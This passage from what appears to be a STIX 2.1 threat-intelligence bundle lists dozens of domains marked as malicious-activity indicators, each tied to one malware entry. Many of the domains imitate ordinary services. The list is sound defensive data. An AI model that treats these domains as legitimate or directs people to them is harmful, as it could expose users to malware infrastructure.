"malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4835023e-14df-4419-b399-abfe5855546f", "created": "2024-01-26T21:28:21.448972Z", "modified": "2024-01-26T21:28:21.448972Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sec-checker.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.448972Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4c6e3a6a-6115-438d-9e29-9f7c2f393a5a", "created": "2024-01-26T21:28:21.449365Z", "modified": "2024-01-26T21:28:21.449365Z", "relationship_type": "indicates", "source_ref": "indicator--4835023e-14df-4419-b399-abfe5855546f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fa8c5550-86af-41fc-b1e4-f3a5af725073", "created": "2024-01-26T21:28:21.449463Z", "modified": "2024-01-26T21:28:21.449463Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='connecting-to.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.449463Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--32e9b5c1-a234-437d-bc15-e48c6a6f639d", "created": "2024-01-26T21:28:21.449856Z", "modified": "2024-01-26T21:28:21.449856Z", "relationship_type": "indicates", "source_ref": "indicator--fa8c5550-86af-41fc-b1e4-f3a5af725073", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a628e33f-258f-4d08-a6c2-6bb0ccf3c20d", "created": "2024-01-26T21:28:21.449954Z", "modified": "2024-01-26T21:28:21.449954Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='judgeauthority.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.449954Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d447c698-7800-4f25-861c-083c90ccbb3b", "created": "2024-01-26T21:28:21.450423Z", "modified": "2024-01-26T21:28:21.450423Z", "relationship_type": "indicates", "source_ref": "indicator--a628e33f-258f-4d08-a6c2-6bb0ccf3c20d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a39046ce-52c8-4890-add0-a855a923322e", "created": "2024-01-26T21:28:21.450522Z", "modified": "2024-01-26T21:28:21.450522Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='telecom-info.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.450522Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5593a3b7-6f02-4dc3-8b7a-a2d13c38f617", "created": "2024-01-26T21:28:21.450908Z", "modified": "2024-01-26T21:28:21.450908Z", "relationship_type": "indicates", "source_ref": "indicator--a39046ce-52c8-4890-add0-a855a923322e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cce8e504-e82c-4c4d-8cb0-a8c0f560229f", "created": "2024-01-26T21:28:21.451005Z", "modified": "2024-01-26T21:28:21.451005Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='weatherapi.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.451005Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e85a8fc3-a0fe-4b16-bb39-19a7a66e7cae", "created": "2024-01-26T21:28:21.451392Z", "modified": "2024-01-26T21:28:21.451392Z", "relationship_type": "indicates", "source_ref": "indicator--cce8e504-e82c-4c4d-8cb0-a8c0f560229f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--80e76d8d-03bf-467e-a733-142969e3c2b3", "created": "2024-01-26T21:28:21.451487Z", "modified": "2024-01-26T21:28:21.451487Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='outletsaroundme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.451487Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2aff66b3-2d92-47e7-9b21-f0884039aa72", "created": "2024-01-26T21:28:21.451879Z", "modified": "2024-01-26T21:28:21.451879Z", "relationship_type": "indicates", "source_ref": "indicator--80e76d8d-03bf-467e-a733-142969e3c2b3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ef1d5b03-d76c-4d5c-9c5a-d6ba3c1c1df4", "created": "2024-01-26T21:28:21.451977Z", "modified": "2024-01-26T21:28:21.451977Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='betterapplesearch.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.451977Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--837149ff-5d81-4543-8283-c5f9ed3e270b", "created": "2024-01-26T21:28:21.452367Z", "modified": "2024-01-26T21:28:21.452367Z", "relationship_type": "indicates", "source_ref": "indicator--ef1d5b03-d76c-4d5c-9c5a-d6ba3c1c1df4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--102b431f-254f-4c07-9d03-df98e2081b7e", "created": "2024-01-26T21:28:21.452466Z", "modified": "2024-01-26T21:28:21.452466Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='notisms.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.452466Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1a409d15-d571-4e78-b096-4eb4b64138c5", "created": "2024-01-26T21:28:21.452845Z", "modified": "2024-01-26T21:28:21.452845Z", "relationship_type": "indicates", "source_ref": "indicator--102b431f-254f-4c07-9d03-df98e2081b7e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--02642a97-421e-4377-b36c-96648b9ce769", "created": "2024-01-26T21:28:21.452942Z", "modified": "2024-01-26T21:28:21.452942Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ideas-telcel.com.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.452942Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a1c8bf91-938d-4038-afd0-60d20c840349", "created": "2024-01-26T21:28:21.453424Z", "modified": "2024-01-26T21:28:21.453424Z", "relationship_type": "indicates", "source_ref": "indicator--02642a97-421e-4377-b36c-96648b9ce769", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b40efe76-b56f-4e79-857b-a75b463ad965", "created": "2024-01-26T21:28:21.453524Z", "modified": "2024-01-26T21:28:21.453524Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='topadblocker.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.453524Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9f2748bc-dc12-474e-bc4f-f2b8d8478a23", "created": "2024-01-26T21:28:21.453915Z", "modified": "2024-01-26T21:28:21.453915Z", "relationship_type": "indicates", "source_ref": "indicator--b40efe76-b56f-4e79-857b-a75b463ad965", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fcde0fbb-e6ed-410e-b1e6-f61113b749d7", "created": "2024-01-26T21:28:21.454015Z", "modified": "2024-01-26T21:28:21.454015Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nothernkivu.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.454015Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f96e007d-49e2-480a-b96e-e98992912b04", "created": "2024-01-26T21:28:21.454417Z", "modified": "2024-01-26T21:28:21.454417Z", "relationship_type": "indicates", "source_ref": "indicator--fcde0fbb-e6ed-410e-b1e6-f61113b749d7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4c1ae183-8a7f-4e87-b4f5-0596809da6da", "created": "2024-01-26T21:28:21.454514Z", "modified": "2024-01-26T21:28:21.454514Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectool.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.454514Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4a0bb5e3-3ac1-4394-bd29-41e96151a652", "created": "2024-01-26T21:28:21.454899Z", "modified": "2024-01-26T21:28:21.454899Z", "relationship_type": "indicates", "source_ref": "indicator--4c1ae183-8a7f-4e87-b4f5-0596809da6da", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--457848c2-80bb-4727-add9-8cbd07c8809e", "created": "2024-01-26T21:28:21.454997Z", "modified": "2024-01-26T21:28:21.454997Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='flynewfries.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.454997Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ed501e93-3f08-4377-abeb-19889d864784", "created": "2024-01-26T21:28:21.455387Z", "modified": "2024-01-26T21:28:21.455387Z", "relationship_type": "indicates", "source_ref": "indicator--457848c2-80bb-4727-add9-8cbd07c8809e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ccc0abb6-ba3a-4eb2-b2ba-51a6e13b9d70", "created": "2024-01-26T21:28:21.455484Z", "modified": "2024-01-26T21:28:21.455484Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='smallperfumerain.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.455484Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3a4b7865-f740-425a-a961-65f3779c38f0", "created": "2024-01-26T21:28:21.455879Z", "modified": "2024-01-26T21:28:21.455879Z", "relationship_type": "indicates", "source_ref": "indicator--ccc0abb6-ba3a-4eb2-b2ba-51a6e13b9d70", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aba99ccb-d843-4cd0-ab61-be4a82d56bd2", "created": "2024-01-26T21:28:21.455975Z", "modified": "2024-01-26T21:28:21.455975Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='xtremelivesupport.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.455975Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--19f18d15-1b16-410f-b2df-802bea04a07a", "created": "2024-01-26T21:28:21.456369Z", "modified": "2024-01-26T21:28:21.456369Z", "relationship_type": "indicates", "source_ref": "indicator--aba99ccb-d843-4cd0-ab61-be4a82d56bd2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d63dd236-2cf1-432b-89f0-567b45b061bb", "created": "2024-01-26T21:28:21.456464Z", "modified": "2024-01-26T21:28:21.456464Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='all-sales.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.456464Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--38f6202e-7cc6-4c61-9f8a-93ac92df9bb0", "created": "2024-01-26T21:28:21.456854Z", "modified": "2024-01-26T21:28:21.456854Z", "relationship_type": "indicates", "source_ref": "indicator--d63dd236-2cf1-432b-89f0-567b45b061bb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--75e59156-acec-41ec-9799-3ec1622ccefc", "created": "2024-01-26T21:28:21.45695Z", "modified": "2024-01-26T21:28:21.45695Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='allthemakeupyouneed.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.45695Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b1fc9c81-18f3-47c4-9d1d-4175323b929d", "created": "2024-01-26T21:28:21.457344Z", "modified": "2024-01-26T21:28:21.457344Z", "relationship_type": "indicates", "source_ref": "indicator--75e59156-acec-41ec-9799-3ec1622ccefc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aa2c7a1d-353b-4008-92c5-41b312df35a0", "created": "2024-01-26T21:28:21.457439Z", "modified": "2024-01-26T21:28:21.457439Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='securedlogin.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.457439Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--adbc98b9-3879-4432-8869-ed684daf8671", "created": "2024-01-26T21:28:21.45791Z", "modified": "2024-01-26T21:28:21.45791Z", "relationship_type": "indicates", "source_ref": "indicator--aa2c7a1d-353b-4008-92c5-41b312df35a0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8b2ff7c6-c839-4eaf-8f77-ea4fb39ec199", "created": "2024-01-26T21:28:21.458009Z", "modified": "2024-01-26T21:28:21.458009Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='boysrbabies.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.458009Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--26048ff9-5c4d-4409-8525-640a2815dd49", "created": "2024-01-26T21:28:21.458394Z", "modified": "2024-01-26T21:28:21.458394Z", "relationship_type": "indicates", "source_ref": "indicator--8b2ff7c6-c839-4eaf-8f77-ea4fb39ec199", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cf6a28ac-ce8f-4718-bb83-54c1b63f0163", "created": "2024-01-26T21:28:21.458502Z", "modified": "2024-01-26T21:28:21.458502Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='arabia-islamion.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.458502Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--01d2869e-0ce5-4a82-85b2-e320e9bd7244", "created": "2024-01-26T21:28:21.45889Z", "modified": "2024-01-26T21:28:21.45889Z", "relationship_type": "indicates", "source_ref": "indicator--cf6a28ac-ce8f-4718-bb83-54c1b63f0163", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--77f3f401-b2bb-4103-87da-79c41d31f986", "created": "2024-01-26T21:28:21.458987Z", "modified": "2024-01-26T21:28:21.458987Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='email-plans.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.458987Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--96cd5b20-8a14-4d17-908d-933cddb39194", "created": "2024-01-26T21:28:21.459371Z", "modified": "2024-01-26T21:28:21.459371Z", "relationship_type": "indicates", "source_ref": "indicator--77f3f401-b2bb-4103-87da-79c41d31f986", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--685e2fa4-ae6e-4ec6-915d-6a606a60fc3d", "created": "2024-01-26T21:28:21.459466Z", "modified": "2024-01-26T21:28:21.459466Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='biggunsarefun.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.459466Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c82dbb67-527d-401b-806d-2a57da5a7d3d", "created": "2024-01-26T21:28:21.459869Z", "modified": "2024-01-26T21:28:21.459869Z", "relationship_type": "indicates", "source_ref": "indicator--685e2fa4-ae6e-4ec6-915d-6a606a60fc3d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--886a2a75-d4f6-4388-8969-511acfe1a263", "created": "2024-01-26T21:28:21.459975Z", "modified": "2024-01-26T21:28:21.459975Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webview-redirect.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.459975Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ad956916-6057-4865-bef8-40cea242a1d6", "created": "2024-01-26T21:28:21.46037Z", "modified": "2024-01-26T21:28:21.46037Z", "relationship_type": "indicates", "source_ref": "indicator--886a2a75-d4f6-4388-8969-511acfe1a263", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--223cce9b-2175-411a-a95a-8da95b9a24a1", "created": "2024-01-26T21:28:21.460464Z", "modified": "2024-01-26T21:28:21.460464Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='myheartbuild.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.460464Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5bf9eea5-9c99-47c5-b75c-7e8b891d7bbd", "created": "2024-01-26T21:28:21.460851Z", "modified": "2024-01-26T21:28:21.460851Z", "relationship_type": "indicates", "source_ref": "indicator--223cce9b-2175-411a-a95a-8da95b9a24a1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fca04851-4eff-4a5e-b941-5eed385b712f", "created": "2024-01-26T21:28:21.460946Z", "modified": "2024-01-26T21:28:21.460946Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='manoraonline.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.460946Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f4de4d43-3148-4392-a995-4f6e3a70a939", "created": "2024-01-26T21:28:21.461329Z", "modified": "2024-01-26T21:28:21.461329Z", "relationship_type": "indicates", "source_ref": "indicator--fca04851-4eff-4a5e-b941-5eed385b712f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--25b67a1f-826f-435f-8a49-d0cdc8434ac4", "created": "2024-01-26T21:28:21.461426Z", "modified": "2024-01-26T21:28:21.461426Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='chocollife.me']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.461426Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e4946bff-f860-4e2f-9d44-26d6b902af60", "created": "2024-01-26T21:28:21.461807Z", "modified": "2024-01-26T21:28:21.461807Z", "relationship_type": "indicates", "source_ref": "indicator--25b67a1f-826f-435f-8a49-d0cdc8434ac4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7a01db16-d0e1-48c1-8447-ee96e7a5ae4e", "created": "2024-01-26T21:28:21.461902Z", "modified": "2024-01-26T21:28:21.461902Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='damanhealth.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.461902Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--212caf3c-f835-4552-b512-102ea6636db4", "created": "2024-01-26T21:28:21.462378Z", "modified": "2024-01-26T21:28:21.462378Z", "relationship_type": "indicates", "source_ref": "indicator--7a01db16-d0e1-48c1-8447-ee96e7a5ae4e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--96321c50-1518-42a0-b79d-0add17baa26c", "created": "2024-01-26T21:28:21.462477Z", "modified": "2024-01-26T21:28:21.462477Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='holdingspider.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.462477Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--75ecc269-b191-4178-93bf-299f730be870", "created": "2024-01-26T21:28:21.462869Z", "modified": "2024-01-26T21:28:21.462869Z", "relationship_type": "indicates", "source_ref": "indicator--96321c50-1518-42a0-b79d-0add17baa26c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--120a4ea1-9bb9-41de-94cc-1bba3a69264b", "created": "2024-01-26T21:28:21.462964Z", "modified": "2024-01-26T21:28:21.462964Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tablereservation.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.462964Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2bacdec7-2877-4949-bfcd-fee200705ffb", "created": "2024-01-26T21:28:21.463363Z", "modified": "2024-01-26T21:28:21.463363Z", "relationship_type": "indicates", "source_ref": "indicator--120a4ea1-9bb9-41de-94cc-1bba3a69264b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--81820244-b985-4c6c-b364-380f6d484ea1", "created": "2024-01-26T21:28:21.463458Z", "modified": "2024-01-26T21:28:21.463458Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='planeocean.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.463458Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9a5f7d70-b6bd-4e38-a7c6-526e0329dc0b", "created": "2024-01-26T21:28:21.463852Z", "modified": "2024-01-26T21:28:21.463852Z", "relationship_type": "indicates", "source_ref": "indicator--81820244-b985-4c6c-b364-380f6d484ea1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--11506300-b81d-4c2a-9a86-eae0c04de62d", "created": "2024-01-26T21:28:21.463951Z", "modified": "2024-01-26T21:28:21.463951Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='arrowowner.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.463951Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--27870b0e-b6b1-4724-ad49-d9879ba559b6", "created": "2024-01-26T21:28:21.464348Z", "modified": "2024-01-26T21:28:21.464348Z", "relationship_type": "indicates", "source_ref": "indicator--11506300-b81d-4c2a-9a86-eae0c04de62d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--892b3fe2-288f-4171-9a94-e256f2c486b7", "created": "2024-01-26T21:28:21.464447Z", "modified": "2024-01-26T21:28:21.464447Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='remove-subscription.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.464447Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--86a44ce8-d0bb-4e77-9df2-c3ef3e085fb8", "created": "2024-01-26T21:28:21.464843Z", "modified": "2024-01-26T21:28:21.464843Z", "relationship_type": "indicates", "source_ref": "indicator--892b3fe2-288f-4171-9a94-e256f2c486b7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9e2c7bc6-005a-49cb-b2aa-f87268a10b37", "created": "2024-01-26T21:28:21.464938Z", "modified": "2024-01-26T21:28:21.464938Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mosquesfinder.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.464938Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1c5b945b-a4fa-42de-87f5-6d7866226b5e", "created": "2024-01-26T21:28:21.46533Z", "modified": "2024-01-26T21:28:21.46533Z", "relationship_type": "indicates", "source_ref": "indicator--9e2c7bc6-005a-49cb-b2aa-f87268a10b37", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0ee87113-3e01-4895-986d-efa5bd69bfce", "created": "2024-01-26T21:28:21.465425Z", "modified": "2024-01-26T21:28:21.465425Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='websites4yourhost.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.465425Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8d0dca3e-5d4e-411a-ae94-989bfdb77de4", "created": "2024-01-26T21:28:21.465817Z", "modified": "2024-01-26T21:28:21.465817Z", "relationship_type": "indicates", "source_ref": "indicator--0ee87113-3e01-4895-986d-efa5bd69bfce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cd8cfc71-262d-4ad2-9a8b-098a04fde717", "created": "2024-01-26T21:28:21.465914Z", "modified": "2024-01-26T21:28:21.465914Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='walkhatclock.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.465914Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ebeebaee-a606-4b0f-ae72-43b877836809", "created": "2024-01-26T21:28:21.466303Z", "modified": "2024-01-26T21:28:21.466303Z", "relationship_type": "indicates", "source_ref": "indicator--cd8cfc71-262d-4ad2-9a8b-098a04fde717", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8bbbdccb-94b8-40a4-b32e-3f91db9c6e11", "created": "2024-01-26T21:28:21.466398Z", "modified": "2024-01-26T21:28:21.466398Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='effectivespeech.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.466398Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2a08a2ab-2d44-417f-b076-9f56b8adb41f", "created": "2024-01-26T21:28:21.467111Z", "modified": "2024-01-26T21:28:21.467111Z", "relationship_type": "indicates", "source_ref": "indicator--8bbbdccb-94b8-40a4-b32e-3f91db9c6e11", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--057a87a3-a2b4-4fb6-a416-fc2c5b3cacab", "created": "2024-01-26T21:28:21.467212Z", "modified": "2024-01-26T21:28:21.467212Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='touristvaca.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.467212Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--16afff93-b134-487f-9f83-3d42f754ba00", "created": "2024-01-26T21:28:21.467611Z", "modified": "2024-01-26T21:28:21.467611Z", "relationship_type": "indicates", "source_ref": "indicator--057a87a3-a2b4-4fb6-a416-fc2c5b3cacab", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c97635e9-c816-4093-b7d6-6fd249901c06", "created": "2024-01-26T21:28:21.467713Z", "modified": "2024-01-26T21:28:21.467713Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rockmusic4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.467713Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7b085edd-144f-4f74-84f5-f3e9c6435b7d", "created": "2024-01-26T21:28:21.468111Z", "modified": "2024-01-26T21:28:21.468111Z", "relationship_type": "indicates", "source_ref": "indicator--c97635e9-c816-4093-b7d6-6fd249901c06", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e950a975-61b0-4562-998f-c1cefb17a8b7", "created": "2024-01-26T21:28:21.468212Z", "modified": "2024-01-26T21:28:21.468212Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='allthesongsyoulike.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.468212Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cd590c69-5b3d-4df2-9be1-582d8dcc7407", "created": "2024-01-26T21:28:21.468618Z", "modified": "2024-01-26T21:28:21.468618Z", "relationship_type": "indicates", "source_ref": "indicator--e950a975-61b0-4562-998f-c1cefb17a8b7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": 